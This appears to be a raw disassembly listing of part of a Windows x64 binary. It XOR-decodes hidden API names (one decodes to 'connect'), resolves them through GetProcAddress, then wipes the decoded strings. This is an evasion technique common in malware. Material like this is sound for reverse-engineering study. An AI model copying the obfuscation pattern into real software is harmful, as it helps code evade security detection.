mov rax, qword [rbp + 0xc8]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x14000959b
lea rax, [rbp - 0x4c]
lea rdx, [rbp - 0x4c]
mov qword [rbp + 0xc0], rdx
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xb4], 0
jmp 0x140009591
mov eax, dword [rbp + 0xb4]
movsxd rdx, eax
mov rax, qword [rbp + 0xb8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xb4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xb4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xb4], 1
cmp dword [rbp + 0xb4], 0xa
jle 0x140009530
nop
lea rax, [rbp - 0x4c]
mov qword [rbp + 0x298], rax
mov dword [rbp + 0x90], 0
jmp 0x1400095c6
mov eax, dword [rbp + 0x90]
cdqe
mov byte [rbp + rax - 0x4c], 0
add dword [rbp + 0x90], 1
cmp dword [rbp + 0x90], 0xa
jle 0x1400095b2
nop
mov rdx, qword [rbp + 0x298]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x140010208], rax
mov byte [rbp - 0x54], 0x51
mov byte [rbp - 0x53], 0x5c
mov byte [rbp - 0x52], 0x5a
mov byte [rbp - 0x51], 0x5b
mov byte [rbp - 0x50], 0x53
mov byte [rbp - 0x4f], 0x54
mov byte [rbp - 0x4e], 0x4c
mov byte [rbp - 0x4d], 0x39
lea rax, [rbp - 0x54]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
movzx eax, byte [rax + 7]
test al, al
setne al
test al, al
je 0x1400096c1
lea rax, [rbp - 0x54]
lea rdx, [rbp - 0x54]
mov qword [rbp + 0xa0], rdx
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x94], 0
jmp 0x1400096b7
mov eax, dword [rbp + 0x94]
movsxd rdx, eax
mov rax, qword [rbp + 0x98]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x94]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xa0]
mov eax, dword [rbp + 0x94]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x94], 1
cmp dword [rbp + 0x94], 7
jle 0x140009656
nop
lea rax, [rbp - 0x54]
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x8c], 0
jmp 0x1400096ec
mov eax, dword [rbp + 0x8c]
cdqe
mov byte [rbp + rax - 0x54], 0
add dword [rbp + 0x8c], 1
cmp dword [rbp + 0x8c], 7
jle 0x1400096d8
nop
mov rdx, qword [rbp + 0x290]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x140010210], rax
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
call fcn.1400081e0
nop
add rsp, 0x3a0
pop rbp
ret